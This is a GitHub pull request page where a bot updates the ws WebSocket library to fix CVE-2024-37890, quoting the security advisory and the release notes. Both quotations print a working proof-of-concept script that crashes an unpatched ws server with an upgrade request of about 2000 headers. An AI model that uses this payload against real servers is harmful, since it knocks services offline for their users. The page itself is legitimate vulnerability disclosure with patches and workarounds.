Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency ws [security] #7130

Closed
wants to merge 1 commit into from

Conversation

live-github-bot[bot]
Copy link
Contributor

@live-github-bot live-github-bot bot commented Jun 17, 2024

This PR contains the following updates:

Package Type Update Change
ws dependencies minor 8.16.0 -> 8.17.1
ws devDependencies patch 7.5.9 -> 7.5.10

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

Copy link

vercel bot commented Jun 17, 2024

The latest updates on your projects. Learn more about Vercel for Git ↗︎

5 Skipped Deployments
Name Status Preview Comments Updated (UTC)
ledger-live-docs ⬜️ Ignored (Inspect) Visit Preview Aug 9, 2024 10:09pm
ledger-live-github-bot ⬜️ Ignored (Inspect) Visit Preview Aug 9, 2024 10:09pm
native-ui-storybook ⬜️ Ignored (Inspect) Visit Preview Aug 9, 2024 10:09pm
react-ui-storybook ⬜️ Ignored (Inspect) Visit Preview Aug 9, 2024 10:09pm
web-tools ⬜️ Ignored (Inspect) Visit Preview Aug 9, 2024 10:09pm

Copy link

socket-security bot commented Jun 17, 2024

Removed dependencies detected. Learn more about Socket for GitHub ↗︎

🚮 Removed packages: npm/[email protected]

View full report↗︎

@live-github-bot
Copy link
Contributor Author

live-github-bot bot commented Jun 17, 2024

Desktop Bundle Checks

Comparing e4b6226 against b2163a6.

⚠️ isomorphic-ws library is now duplicated in renderer (regression)

Mobile Bundle Checks

Comparing 9fdd48e against 173bb3c.

✅ Previous issues have all been fixed.

@live-github-bot live-github-bot bot force-pushed the renovate/npm-ws-vulnerability branch from 87b75c9 to e4b6226 Compare June 21, 2024 22:05
@live-github-bot live-github-bot bot changed the title fix(deps): update dependency ws [security] Update dependency ws [SECURITY] Jun 26, 2024
@live-github-bot live-github-bot bot changed the title Update dependency ws [SECURITY] fix(deps): update dependency ws [security] Jun 27, 2024
@live-github-bot live-github-bot bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 9fdd48e to c75b9a2 Compare July 5, 2024 22:06
@live-github-bot live-github-bot bot force-pushed the renovate/npm-ws-vulnerability branch from c75b9a2 to 6b85136 Compare July 11, 2024 22:05
@live-github-bot live-github-bot bot changed the title fix(deps): update dependency ws [security] Update dependency ws [SECURITY] Jul 26, 2024
@live-github-bot live-github-bot bot changed the title Update dependency ws [SECURITY] fix(deps): update dependency ws [security] Jul 29, 2024
@live-github-bot live-github-bot bot force-pushed the renovate/npm-ws-vulnerability branch from 6b85136 to 8fab111 Compare August 8, 2024 22:06
@live-github-bot live-github-bot bot force-pushed the renovate/npm-ws-vulnerability branch from 8fab111 to 466f0ae Compare August 9, 2024 22:07
@gre gre closed this Aug 12, 2024
@gre gre deleted the renovate/npm-ws-vulnerability branch August 13, 2024 08:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant